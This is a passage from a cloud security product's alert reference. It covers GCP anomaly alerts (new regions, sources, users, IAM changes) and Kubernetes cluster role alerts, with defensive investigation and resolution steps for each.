5. If necessary, consider working with a Google Cloud security expert or consultant to help identify any other potential security risks and recommend additional security measures to prevent future incidents.

GCP API Failed With Error

This alert occurs when Lacework FortiCNAPP detects an API failed with an error within a geolocation.

Why this alert is important

A failed API call can indicate a network issue or a problem with the specific data center in that region, performance issues, or a security issue, such as a potential DDoS attack or malicious activity targeting that region.

Investigation

Investigating an API that failed with an error involves looking at various logs and metrics to gather information about the incident. Here are some steps you can take:

1. Determine which API call failed by looking at the logs or metrics for the service that the API belongs to.
2. Look at the error message to see if it explains what went wrong. Sometimes, the error message may contain details about the type of error, the error code, or other information that can help diagnose the issue.
3. Look at the logs for the API to see if there are any additional details about the error, such as the time it occurred, the parameters that were passed, or any other relevant information.
4. If the API is part of a more extensive application or service, look at the server logs for the application to see if any errors or issues could have contributed to the API failure.
5. Look at any relevant metrics for the API or the service to see if any spikes in traffic, errors, or other anomalies could explain the issue.
6. If the error occurred within a specific geolocation, check to see if any regional issues could have contributed to the error.

Resolution

There are several steps you can take to help avoid API failures:

- Ensure your application code and infrastructure are properly configured and optimized for performance, such as conducting regular code reviews, implementing caching and optimization techniques, and configuring auto-scaling to handle the increased load.
- Monitor your APIs and applications for errors and performance issues.
- Use API management tools to monitor and control access to your APIs, such as implementing rate limiting, throttling, and access controls to prevent abuse and protect against attacks.
- Implement robust security controls to protect against unauthorized access and data breaches, such as multi-factor authentication, encrypting sensitive data, and using security best practices.
- Regularly test and audit your APIs and applications to identify vulnerabilities and areas for improvement.

GCP Service Account Logged In From New Source

This alert occurs when Lacework FortiCNAPP detects a service account has accessed your Google Cloud environment from a new geolocation for the first time. Lacework FortiCNAPP uses a geo-IP lookup service (A tool or service that provides geolocation information based on an IP address, including the country, city, or region of origin.) to determine the location, and the IP address was not previously associated with this account.

Why this alert is important

Service accounts represent application or compute workload identities. They typically do not change geographic locations. If a service account accesses your Google Cloud environment from a new location, it could signal possible credential compromise and suspicious activity.

Why this might be just fine

In rare instances, Lacework FortiCNAPP's geolocation lookup service may yield different locations, resulting in a false positive. This could happen when the workload or application utilizing the service account undergoes a failover to a new data center or cloud region.

Investigation

Use the steps below to investigate this alert:

1. Identify the origin of the caller IP (Refers to the IP address from which a request or communication is initiated.) and understand its distinctions from other IP addresses.
   - Refer to the *What* section in the *Alert Details* to locate the caller IP.
   - Click the service account name mentioned in the alert description to access all activities associated with this service account.

- Extend the time window to one week and compare the previous location with the new one. Observe the level of variation in location. Has the country of the location changed?

2. Perform a reverse IP lookup on the caller IP to verify its origin. Check if it is associated with a Google ASN (Autonomous System Number).
3. Check if the service account is using typical services and API methods. Additionally, examine whether there has been any change in its behavior, especially in calling sensitive APIs.

Resolution

After identifying that a service account in Google Cloud has been compromised, it is important to take immediate action to prevent further damage. Here are some steps you can take to resolve the issue:

1. Disable the service account. This can be done by going to the IAM & Admin page in the Google Cloud console, locating the compromised service account and clicking Disable.
2. If the service account was used to generate access tokens, you should revoke them immediately to prevent further access. You can do this by going to the APIs & Services page in the Google Cloud console, selecting Credentials and then revoking any access tokens associated with the compromised service account. Review the Audit Logs and any other relevant data to determine how the account was accessed and what actions were taken.
3. Reset any affected credentials. If the compromised service account had access to any sensitive data or resources, you should reset any credentials or passwords associated with those resources to prevent further unauthorized access.
4. Implement additional security measures such as multi-factor authentication or access controls to prevent similar incidents from happening in the future.
5. Monitor for further suspicious activity.

GCP User Accessed Region

This alert occurs when Lacework FortiCNAPP detects a user has accessed a region for the first time.

Why this alert is important

A region is a specific geographic location where Google has data centers that can be used to host your resources. Each region consists of one or more zones, isolated locations within the region designed to be independent and fault-tolerant.

A user accessing a region for the first time could indicate unauthorized access or a security breach. Monitoring such events can help you detect potential threats and take action before any damage is done.

Investigation

Investigating signs of malicious activity when a user accesses a region for the first time in Google Cloud can involve several steps, including:

1. Track login activity and verify that each login attempt is legitimate. Any suspicious login attempts should be investigated further.

2. Analyze access logs for any suspicious activity.
3. Track resource usage, network traffic, and other metrics that can indicate unusual activity. For example, a user accessing an unusually high number of resources in a region could be a sign of malicious activity.
4. Use threat intelligence feeds for information about known malicious actors and their tactics, techniques, and procedures.
5. Conduct a risk assessment to help identify potential vulnerabilities and prioritize security measures.

Resolution

To resolve unauthorized access to a region, you can take the following steps:

1. Disable the access.
2. Investigate the incident for the user's identity, the time and duration, and the activities performed during the access. Check if any resources have been compromised or any unauthorized changes have been made.
3. Depending on the severity of the incident, you may need to take various corrective actions, such as resetting passwords, revoking access, or reinstalling compromised resources.
4. To prevent such incidents in the future, consider improving your security measures, such as implementing multi-factor authentication, monitoring, and logging activities, and regularly reviewing and updating access controls and policies.

GCP User Logged In From New Source

This alert occurs when Lacework FortiCNAPP detects a user has logged in from a new source for the first time.

Why this alert is important

A user logging in from a new source may indicate that their account has been compromised or that someone is attempting to gain unauthorized access.

Investigation

You can perform the following steps to confirm if the access is legitimate:

1. Review your Google Cloud logs to check for any login events from the user account. Look for new source IP addresses that may indicate potential unauthorized access.
2. Review the authentication logs of your identity provider or Single Sign-On (SSO) provider to check for any unexpected login events or anomalies. If you have implemented multi-factor authentication (MFA), verify if the user account has used MFA for authentication.
3. Review other logs, such as network activity logs or audit logs, to check for any unusual or malicious activity associated with the user account. For example, check for any new or unusual API calls, data access or modification, or any other activity that is not typical for the user.

4. Review the access permissions for the user account in question and ensure that the permissions are appropriate and limited to only what is required for the user's job function. Check if any new or unnecessary permissions may have been granted to the user.
5. Reach out to the user to verify if they have recently accessed Google Cloud from a new source.

Resolution

To prevent unauthorized access to your Google Cloud environment from a bad source, implement the following:

- Configure IP allowlisting to allow access only from specific IP addresses or IP address ranges so that only authorized users can access your Google Cloud resources.
- Enable multi-factor authentication (MFA) for your Google Cloud account. This adds an extra layer of security to your account, making it more difficult for an attacker to gain access even if they have your login credentials.
- Use a virtual private network (VPN) to connect to your Google Cloud resources. A VPN creates a secure, encrypted connection between your device and your Google Cloud resources, which helps protect against unauthorized access.
- Implement strong password policies.
- Regularly monitor and review access logs for your Google Cloud resources to detect unauthorized access attempts.

IAM Policy Changed (Google Cloud)

This alert occurs when Lacework FortiCNAPP detects a change in the Identity and Access Management (IAM) policy for a resource.

Related policy: *LACEWORK-GLOBAL-12: IAM Policy Change*

Why this alert is important

IAM allows you to manage access to Cloud Storage buckets, Compute Engine instances, and other Google Cloud services. When an IAM policy is changed, it can affect who has access to a resource, what actions they can perform, and what data they can view or modify.

By monitoring IAM policy changes, you can detect and respond to any unauthorized changes or suspicious activity in your Google Cloud environment and take appropriate action to protect your data and infrastructure.

Investigation

Follow these steps to investigate the alert:

1. Check the Audit Logs to determine who made the IAM policy change, when, and what changes were made. To narrow your investigation, you can search the logs by resource type, user, and time range.
2. Verify that the user who made the IAM policy change is authorized. If the user is not authorized, it may indicate malicious activity.

3. Check the new IAM policy to determine what changes were made. If the changes grant unauthorized access to a resource or give a user more privileges than they need, it may be a sign of malicious activity.
4. Check for any unusual activity in your Google Cloud environment, such as unexpected API requests or unusual logins. Malicious actors may have accessed your environment and made the IAM policy change from there.
5. If you suspect the IAM policy change is malicious, immediately report the incident to your organization's security team or Google Cloud Support. They can guide you on how to mitigate the issue and prevent it from happening.

Resolution

Use the following steps to resolve an unauthorized IAM policy change:

1. If the IAM policy change granted unauthorized access to a resource, revoke that access immediately to prevent further unauthorized access.
2. If the IAM policy change modified the permissions of an authorized user or role, restore the original IAM policy to its previous state.
3. Investigate further to determine the extent of the damage and whether any data was compromised. Review the logs and audit trails to determine what actions were taken on the resource and who may have accessed it.
4. Implement additional security measures to prevent future malicious activity. For example, you can implement more restrictive IAM policies, enable Audit Logs, or consider using multi-factor authentication (MFA) for IAM users.
5. Report the incident to your organization's security team or Google Cloud Support to ensure appropriate measures are taken to prevent similar incidents.

New API Invoked for Google Cloud Service

This alert occurs when Lacework FortiCNAPP detects a user has accessed a Google Cloud service via an API call.

Why this alert is important

API access can be a potential entry point for attackers to leverage to access sensitive data or perform unauthorized actions. Monitoring API access helps identify suspicious or unauthorized activities that may indicate a security breach.

Investigation

To investigate malicious service access using API calls in Google Cloud, you can follow these steps:

1. Check the Audit Logs to see which API calls were made by the service account in question. Look for any suspicious or unauthorized API calls.
2. Determine if the attack was targeted toward a specific resource or is a widespread attack.
3. Identify the source of the API call and investigate whether it was made from a legitimate service account. Check if the service account has appropriate permissions to make the API call.
4. Determine the potential impact of the attack on your resources and data. Review any changes or modifications to your resources and investigate potential data breaches.
5. Review your security controls and identify any potential vulnerabilities that may have allowed the attack to occur.

Resolution

To resolve unauthorized service access using API calls in Google Cloud, you can follow these steps:

1. Immediately revoke access to the service account that made the unauthorized API calls.
2. Review the Audit Logs to determine the extent of the breach. Identify any resources that were accessed or modified by the unauthorized API calls.
3. If any resources were modified or deleted due to the breach, restore them from backups.
4. Review your security controls to identify weaknesses that may have allowed unauthorized access. Consider implementing additional security controls such as multi-factor authentication or stricter access controls.
5. If the breach involves sensitive data, report it to the appropriate authorities following applicable laws and regulations.

New GCP API Call

This alert occurs when Lacework FortiCNAPP detects a user is accessing a service via an API call.

Why this alert is important

This alert is important for several reasons:

- *Resource management:* Google Cloud provides various services, such as compute engine, cloud storage, and cloud SQL, which are managed through APIs.
- *Security:* API calls can be an entry point for security threats, such as unauthorized access, data exfiltration, or denial-of-service attacks.
- *Performance optimization:* API calls can impact the performance of your applications and Google Cloud services.
- *Cost optimization:* Google Cloud services are priced based on usage, and API calls can contribute to your overall usage and cost.

Investigation

Investigating this alert involves analyzing the details of the API calls to gain insight into how Google Cloud resources are being used, detect anomalies, troubleshoot issues, and improve your Google Cloud environment's overall performance and security. Below are some suggested steps:

1. *Collect API call logs:* Google Cloud provides various tools and services, such as Cloud Logging (formerly Stackdriver), Audit Logs, and Cloud Monitoring to collect and store API call logs. Configure these tools to capture API call logs and ensure they are easily accessible for analysis.
2. *Analyze API call logs:* Use the logs collected to analyze the API calls made to your Google Cloud services. You can filter the logs based on various parameters, such as service, user, timestamp, or response code to gain insight into usage patterns, anomalies, and troubleshooting.
3. *Identify trends and patterns:* Analyze the API call logs to identify trends and patterns in API usage. You can use this information to optimize resource usage, reduce costs, and improve the performance of your applications and Google Cloud environment.

4. *Monitor for security threats:* Analyze the API call logs to detect potential security threats, such as unauthorized access, data exfiltration, or denial-of-service attacks. Use tools such as Cloud Security Command Center or Cloud Monitoring to monitor for security threats and respond to them promptly.
5. *Automate actions:* Consider automating actions based on API call logs. For example, you can set up alerts to notify you when specific API calls exceed a threshold or automatically scale resources up or down based on API usage.

Resolution

Resolving an anomalous API call that poses a security threat requires a high-priority and urgent response to prevent further damage or potential security breaches. Here are some general steps to resolve the incident:

1. Immediately disable access to the resource that was targeted by the unauthorized API call. This could involve revoking access keys, changing passwords, or disabling specific IAM roles.
2. Conduct a security audit of the affected resource to determine if any data was compromised or any other unauthorized access has occurred. This will help you understand the scope of the threat and determine any additional remediation steps.
3. Update your security controls to prevent similar threats in the future. This could involve implementing stricter access controls, enabling multi-factor authentication, or configuring auditing and monitoring tools to detect anomalous behavior.
4. Conduct regular security assessments to identify and address potential vulnerabilities or weaknesses in your Google Cloud environment.

New GCP Organization

This alert occurs when Lacework FortiCNAPP detects a new Google Cloud organization for the first time.

Why this alert is important

Monitoring the creation of new organizations can help you ensure that they are created following your security policies and best practices. This can include verifying that the organization is configured with appropriate access controls and permissions, ensuring that the organization's members are appropriately assigned, and validating that the organization's resources are secured and monitored.

Investigation

If you suspect that a malicious organization has been created, you should investigate the event as soon as possible to determine the nature and scope of the threat. Here are some steps you can take to investigate a new malicious Google Cloud organization:

1. *Review the Audit Logs:* Start by reviewing your Audit Logs to identify any anomalous behavior that may be related to the creation of the malicious organization. Look for any unusual activity, such as a large number of API calls or unauthorized access attempts that may indicate that an attacker is attempting to gain access to your environment.

2. *Identify the user or IP address:* Use your Audit Logs to identify the user or IP address that created the malicious organization. This can help you determine whether an internal or external actor initiated the activity and allow you to track down the source of the attack.
3. *Conduct a forensic investigation:* If the threat is severe or you suspect that sensitive data may have been compromised, you may need to conduct a forensic investigation to determine the extent of the damage. This may involve examining system logs, analyzing network traffic, and reviewing access controls and permissions to determine how the attacker gained access and what data may have been compromised.

Resolution

After identifying the creation of a malicious Google Cloud organization, we recommend acting immediately to resolve the issue and mitigate the threat to your environment. Here are some suggested steps:

1. Disable the malicious organization.
2. Revoke access to any accounts or users associated with the malicious organization to prevent further unauthorized access to your environment.
3. Implement additional security controls such as updating access controls and permissions, implementing multi-factor authentication, and deploying security monitoring and alerting tools.
4. Review and update security policies and procedures to identify any gaps or weaknesses that may have allowed the malicious organization to be created.

New GCP Region

This alert occurs when Lacework FortiCNAPP detects user activity in a Google Cloud region that is new and has not been seen before.

Why this alert is important

Attackers may attempt to conceal their activity by operating in an unused cloud region. This alert signals potential malicious activity in such regions, indicating an attempt to evade detection.

Why this might be just fine

The user might have selected the new cloud region either intentionally for a team or project or by mistake.

Investigation

Use the steps below to investigate this alert:

1. Identify the user who has accessed the new Google Cloud region.
   - Refer to the *Who* section in the *Alert Details* for the user's principal email.
   - Click the email address to view all activities performed by this user.
2. Identify the origin of the caller IP (Refers to the IP address from which a request or communication is initiated.) and understand its distinctions from other IP addresses.
   - Refer to the *What* section to locate the caller IP.
   - Perform a reverse IP lookup on the caller IP to verify its origin. Check if it is associated with a Google ASN (Autonomous System Number).
3. Identify the service and API methods that have been called by this user.
   - Check the *Method* tab in the *What* section.
   - Click the username in the *Alert Description* to view all activities that were performed.
4. Verify if your company or business unit has authorized the use of this region.

Resolution

After identifying an unauthorized new Google Cloud region, we recommend acting immediately to resolve the issue and mitigate the threat to your environment. Here are some suggested steps:

1. Isolate the affected resources immediately to prevent any further unauthorized access or modification.
2. Investigate the source of the threat to identify any vulnerabilities or weaknesses that may have been exploited.
3. Remove the new region from your environment immediately to prevent further unauthorized access. This may involve deleting any resources that were created in the new region.
4. Review access controls to ensure that only authorized users and services have access to your Google Cloud environment and that access controls are properly configured.
5. Implement security measures to prevent similar incidents in the future, such as increasing monitoring and alerting, implementing multi-factor authentication, and improving security policies and procedures.

New GCP Service

This alert occurs when Lacework FortiCNAPP detects a new Google Cloud service was used for the first time.

Why this alert is important

A new Google Cloud service used for the first time may indicate an unauthorized change or malicious activity. An attacker may use the new service to gain access to your environment, exfiltrate data or execute malicious code. Detecting the first use of a new service can help you identify and investigate potential security risks.

Investigation

If you suspect that a new Google Cloud service may be malicious, here are some steps you can take to investigate:

1. Review logs of the service that was used for the first time. Look for any unusual activity or patterns, such as unusual IP addresses or unusual user accounts. Look for signs of data exfiltration or other malicious activity.
2. Review access controls to ensure that only authorized users and services have access. Look for any unusual or unauthorized access attempts.
3. Check the Google Cloud service configurations to ensure they are configured properly. Misconfigured services can be a target for attackers and can lead to security vulnerabilities.
4. Investigate the source to determine if an authorized user added the service or if it was added maliciously.
5. Check if any third-party integrations have been added to the Google Cloud service. These integrations can be a target for attackers and can lead to security vulnerabilities.

Resolution

After identifying unauthorized usage of a new Google Cloud service, we recommend acting immediately to resolve the issue and mitigate the threat to your environment. Here are some suggested steps:

1. Remove the service immediately to eliminate the security risk and help ensure compliance with regulatory requirements.
2. Investigate the source to determine how and by whom the unauthorized Google Cloud service was added. This will help you understand how the security breach occurred and how to prevent similar incidents in the future.
3. Check for other unauthorized access to your Google Cloud environment. This may involve reviewing access logs, user accounts, and other security-related data to ensure there are no other security breaches.
4. Implement security controls to prevent similar security incidents from occurring in the future. This may include strengthening access controls, implementing multi-factor authentication, and using encryption to protect sensitive data.

New GCP Source

This alert occurs when Lacework FortiCNAPP detects a user or a service account has logged in from a new source.

Why this alert is important

If an unauthorized user or a malicious actor gains access to a user account or service account, they can use it to carry out malicious activities such as data exfiltration, modification, or destruction. By detecting a user or a service account logging in from a new source, you can identify potential security threats and take necessary actions to prevent them from causing damage to your GCP environment.

Investigation

If you suspect that a user or service account has logged in from a new source and that it might be malicious, here are some steps you can take to investigate:

1. Review the audit logs for the user or service account to identify the source of the login attempt. The audit logs can provide information such as the IP address of the source, the time of the login attempt, and other relevant details.

2. Compare the source of the login attempt to known good sources of login activity for the user or service account. Look for unusual IP addresses, geolocations, or unusual login times.
3. Investigate the source of the login attempt to determine whether it is a known malicious actor or an unauthorized user. Check whether the source is associated with known security threats or has been flagged in threat intelligence feeds.
4. Review the user activity of the user or service account to determine whether there have been any other suspicious activities or indications of compromise. Check for activities such as data exfiltration, sensitive data or resources changes, or other unusual activities.

Resolution

After identifying an unauthorized user or service account login, we recommend acting immediately to resolve the issue and mitigate the threat to your environment. Here are some suggested steps:

1. Immediately revoke the access of the user or service account that has been compromised.
2. Change the passwords of the affected user or service account and any associated accounts or services. Use strong and unique passwords, and consider implementing multi-factor authentication to prevent future unauthorized logins.
3. Investigate the extent of the compromise and whether any sensitive data or resources have been accessed or modified. Review the logs and activity history of the affected user or service account and any related resources.
4. If you have determined that sensitive data or resources have been accessed or modified, take steps to remediate the damage. This may involve restoring backups, rolling back changes, or implementing additional security controls.
5. Review your security measures to determine how the unauthorized login occurred and whether additional security controls are required. This may involve updating policies, configuring access controls, or implementing additional security monitoring.

New GCP User

This alert occurs when Lacework FortiCNAPP detects a principal, which can be either a user or a service account, has accessed your Google Cloud environment for the first time. This interaction can take place via the Google Cloud API or the cloud console, and the details are recorded in the Audit Logs.

Why this alert is important

In the world of cloud computing, identities are like keys that decide who gets to access what. Sometimes, bad actors can sneak in by creating fake accounts to stay hidden. Alongside vigilant monitoring of newly established user accounts, this anomaly detection policy also identifies the first instance of activity within a freshly created account.

Why this might be just fine

As your organization continues to hire and onboard new personnel, creating new users will be a regular occurrence. It is normal to expect this alert to be triggered when new individuals join the organization and utilize Google Cloud to fulfill their job responsibilities.

Investigation

Use the steps below to investigate this alert:

1. Review the *Alert Details* to gather basic information about the alert.
   - *Why*: Verify if the user in question is authorized to have access to the project.
   - *When*: Determine if the activity occurred during regular business hours and if it aligns with the user's typical location and working hours.
   - *Who*: Take note of the principal email and check if multi-factor authentication (MFA) was enabled for this user.
   - *What*: Assess whether the user is accessing services and APIs that are typically associated with their role.
   - *Where*: Identify the Google Cloud regions the user is accessing and be cautious of unusual region usage as it may be an attempt to evade detection. Verify if the IP address used for the requests aligns with the expected country and city from which the user would normally access.
2. Identify any additional operations performed by the new user.
   - Click the identity name mentioned in the *What* section. This action filters the Audit Logs dossier to show only the activities associated with the user in question, enabling a focused analysis of the user's actions within the account during the past few hours.
   - If there is further evidence of suspicious activity indicating tactics such as discovery, enumeration, defense evasion, or exfiltration, it is crucial to initiate immediate remediation measures.

Resolution

After identifying an unauthorized user login, we recommend acting immediately to resolve the issue and mitigate the threat to your environment. Here are some suggested steps:

1. Immediately disable the user's access to Google Cloud resources.
2. Reset the passwords for all affected accounts to prevent further unauthorized access. This includes the user's account and any other accounts that may have been compromised due to the breach.
3. Conduct a thorough investigation to determine the scope of the breach, the cause of the unauthorized access, and whether any data or resources were compromised.
4. Review your security policies and procedures to identify any weaknesses that may have contributed to the breach. Implement additional security controls, such as multi-factor authentication, to reduce the risk of future breaches.

New Google Cloud Service Accessed in Region

This alert occurs when Lacework FortiCNAPP detects a principal, which can be either a user or a service account, has accessed a Google Cloud service within a specific Google Cloud region for the first time. Notably, this Google Cloud

region has never been utilized to access this particular Google Cloud service before.

Why this alert is important

This scenario might indicate that an attacker is engaged in actions such as discovery or enumeration, attempting to assess their level of access, or exploit a service for malicious intent. For instance, they could be deploying a compute instance with a GPU specifically for cryptocurrency mining.

Why this might be just fine

Many organizations often try out new cloud services to explore and develop innovative ideas.

Investigation

Use the steps below to investigate this alert:

1. Identify if this service is also used in other regions:
   - Click the service name in the *Alert Description* to view all activities for that service.
   - Expand the time window to get a wider view and thoroughly analyze the service.
2. Identify the user who has accessed the service:
   - Refer to the *Who* section for the user's principal email.
   - Refer to the *What* section in the *Alert Details* to locate the caller IP.
   - Check for any other unusual signs linked to this region, service, or user.
3. Identify any additional operations performed by this user.
   - Click the identity name mentioned in the *What* section. This action filters the Audit Logs dossier to show only the activities associated with the user in question, enabling a focused analysis of the user's actions within the account.
   - If there is further evidence of suspicious activity indicating tactics such as discovery, enumeration, defense evasion, or exfiltration, it is crucial to initiate immediate remediation measures.

Resolution

After identifying that there has been unauthorized access to your Google Cloud account, there are several steps you should take to resolve the issue:

1. Disable the user or service account.
2. Reset passwords.
3. Review the access logs to determine the extent of the unauthorized access and any actions that were taken while the account was compromised.
4. If any unauthorized access or changes were made, remove or undo them immediately.
5. Implement additional security measures, such as multi-factor authentication, to prevent similar incidents from happening in the future.

Kubernetes alerts reference

This section provides information about the available Kubernetes security alerts.

For each documented event, the following information is provided:

- A summary of the alert.
- Why the alert is important.
- Information about investigating the event that triggered the alert.
- Information about how to resolve the alert.

K8s Audit Log Cluster Role Created

This alert occurs when Lacework FortiCNAPP detects a new Kubernetes cluster role was created.

In Kubernetes, a cluster role is a set of permissions that define how a user, group, or service account can interact with the Kubernetes API server. It is a way to grant access to specific resources and operations within the cluster, such as creating or deleting pods, services, or nodes.

Why this alert is important

If an unauthorized user or service account gains access to a cluster role, they could potentially perform actions that could compromise the cluster's security, such as stealing sensitive data or modifying critical resources.

Investigation

Follow these steps to investigate the alert:

1. Determine who created the new cluster role by looking at the audit logs. This will help you identify if it was created by an authorized user or an attacker who has gained unauthorized access.
2. Review the role's permissions to determine if it has been granted excessive privileges or if it grants access to sensitive resources. Compare the permissions to those of other roles in the cluster to identify any inconsistencies.
3. Check for any suspicious activity associated with the new role, such as unauthorized access or changes to other resources in the cluster. Look for any indications of data exfiltration or attempts to gain persistence.

Resolution

Follow these steps to resolve the alert:

1. Revoke the role using the kubectl command-line tool.
2. Review existing security policies to ensure they are adequate and effective. This includes reviewing RBAC policies, network policies, and other security configurations to identify potential vulnerabilities.
3. Take steps to remediate any exploited vulnerabilities to create the unauthorized role. This may involve patching software, updating security configurations, or revising security policies.
4. Implement continuous monitoring to detect any further unauthorized access or suspicious activity incidents. This includes monitoring Kubernetes audit logs, access logs, and network activity to detect potential security breaches.
5. Inform relevant stakeholders, including the security team, IT team, and management, about the incident and the steps taken to remediate it. This ensures that everyone is aware of the situation and can take appropriate measures to prevent similar incidents in the future.

K8s Audit Log Cluster Role Binding Created

This alert occurs when Lacework FortiCNAPP detects a cluster role binding was created.

In Kubernetes, a cluster role binding is a way to bind a cluster role to a user or group, granting them permission to access and perform specific actions on cluster-wide resources. When a new cluster role binding is created, it grants permissions to the specified user or group, allowing them to perform actions on the resources specified in the cluster role.

Why this alert is important

Detecting a new cluster role binding is important because it could potentially grant unauthorized access to resources within a Kubernetes cluster, allowing an attacker to perform malicious activities or extract sensitive information.

Investigation

Follow these steps to investigate the alert:

1. Determine the origin and creator of the new cluster role binding. If it was created by an unknown user or a user with a suspicious history, investigate further.
2. Review the permissions granted by the new cluster role binding. Check if they are excessive or not aligned with the user's job function. If the permissions granted exceed what is necessary, it could indicate malicious intent.
3. Analyze the workload of the affected cluster to identify any suspicious activity. Check if any new containers or pods were recently deployed that could be responsible for creating the new cluster role binding.
4. Monitor for unusual activity in the affected cluster. This can help detect any suspicious behavior early on and prevent further damage.
5. Consult with security experts to get their opinion on the situation. They can help identify potential risks and guide how to mitigate them.

Resolution

Follow these steps to resolve the alert:

1. Delete the unauthorized cluster role binding immediately to prevent unauthorized access or activity.
2. Reset the credentials of any users who may have been involved in creating the unauthorized cluster role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity. Implement additional security controls if necessary.
5. Monitor the cluster closely for any unusual activity or attempts at unauthorized access.
6. Consider implementing security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.
7. If the situation warrants it, involve law enforcement or other relevant authorities to investigate the incident and take legal action against any responsible parties.

K8s Audit Log Cluster Role Bindings To Admin

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a cluster role binding to bind the user to a Kubernetes admin role.

Why this alert is important

With admin privileges, a user can have unlimited read/write access to resources within a namespace. This level of access can allow an attacker to do the following:

- Create, modify, or delete Kubernetes resources in that namespace, such as pods, services, and deployments.
- Access and potentially exfiltrate sensitive data stored in Kubernetes secrets or config maps.
- Manipulate or disrupt the functioning of the applications running in that namespace.
- Escalate privileges and gaining access to other namespaces or cluster-level resources.
- Install malicious software or execute arbitrary code in the containers running in that namespace.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the cluster role binding was created.
2. Identify the user or group that was granted the admin privileges. You can find this information in the `subjects` field of the `ClusterRoleBinding` object.
3. Determine if the user or group is authorized to have admin privileges.
4. Review the Kubernetes audit logs for any other unauthorized changes to the namespace that may have been made by the user or group in question.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Cluster Role Bindings To Cluster Admin

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a cluster role binding to bind the user to a Kubernetes cluster admin role.

Why this alert is important

Cluster admins are super-user with access to perform any action on any resource. When used in a cluster role binding, it gives full control over every resource in the cluster and in all namespaces.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the cluster role binding was created.
2. Identify the user or group that was granted the admin privileges. You can find this information in the `subjects` field of the `ClusterRoleBinding` object.
3. Determine if the user or group is authorized to have admin privileges.
4. Review the Kubernetes audit logs for any other unauthorized changes to the cluster that may have been made by the user or group in question.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Cluster Role Bindings To Edit

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a cluster role binding to bind the user to an edit role.

Why this alert is important

Users with an edit role have read/write access to most objects in a namespace. It does not allow viewing or modifying roles or role bindings.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the cluster role binding was created.
2. Identify the user or group that was granted the edit privileges. You can find this information in the `subjects` field of the `ClusterRoleBinding` object.
3. Determine if the user or group is authorized to have edit privileges.
4. Review the Kubernetes audit logs for any other unauthorized changes to the namespace that may have been made by the user or group in question.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.

4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents.

K8s Audit Log Cluster Role Bindings To System

This alert occurs when Lacework FortiCNAPP detects a user on your Kubernetes cluster successfully created a cluster role binding to bind the user to `system:` prefixed role.

Why this alert is important

The prefix `system:` is reserved for Kubernetes system use. There are many `system:` prefixed default roles which can render clusters inoperable if they are tampered with.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify when and by whom the cluster role binding was created.
2. Identify the user or group that was granted the `system:` prefixed role. You can find this information in the `subjects` field of the `ClusterRoleBinding` object.

Resolution

Follow these steps to resolve the alert:

1. If the cluster role binding was created maliciously or in error, remove it immediately to prevent further unauthorized access or activity.
2. Change the credentials of any users who may have been involved in creating the unauthorized cluster role binding, and revoke their access if necessary.
3. Review all users' permissions and access levels and ensure they are appropriate for their job functions. Remove any excessive permissions that could lead to potential security breaches.
4. Conduct a thorough security audit of the affected cluster to identify other security vulnerabilities or suspicious activity.
5. Implement additional security measures such as multi-factor authentication, network segmentation, and regular security training for users to prevent future security incidents

K8s Audit Log Cluster Role With All Resources

This alert occurs when Lacework FortiCNAPP detects the creation of a cluster role that grants full access to all cluster-level resources.

Why this alert is important

With this role, a user, group, or service account can manipulate and manage any resource within the cluster, including pods, services, config maps, secrets, deployments, and more. This level of access can have significant security implications, as it grants broad control over the cluster's infrastructure and workloads.

Why this alert is important

With this role, a user, group, or service account can manipulate and manage any resource within the cluster, including pods, services, config maps, secrets, deployments, and more. This level of access can have significant security implications, as it grants broad control over the cluster's infrastructure and workloads.

Investigation

Follow these steps to investigate the alert:

1. Check the Kubernetes audit logs to identify any relevant activities related to creating the cluster role. The audit logs record API server requests and responses, providing details about who initiated the action and which resources were affected. Look for entries related to the creation of cluster roles with extensive privileges.
2. Review the logs of the Kubernetes API server, which handles API requests. The API server logs may contain information about the user, timestamp, and actions performed, helping you identify the creation of the privileged cluster role. Look for any entries indicating the creation of cluster roles with broad access.
3. Use the kubectl command-line tool to list and inspect cluster roles within the cluster. Run the following command to view the details of cluster roles, then look for any cluster roles that grant extensive privileges or have names indicating full access.

   ```
   kubectl get clusterroles
   ```

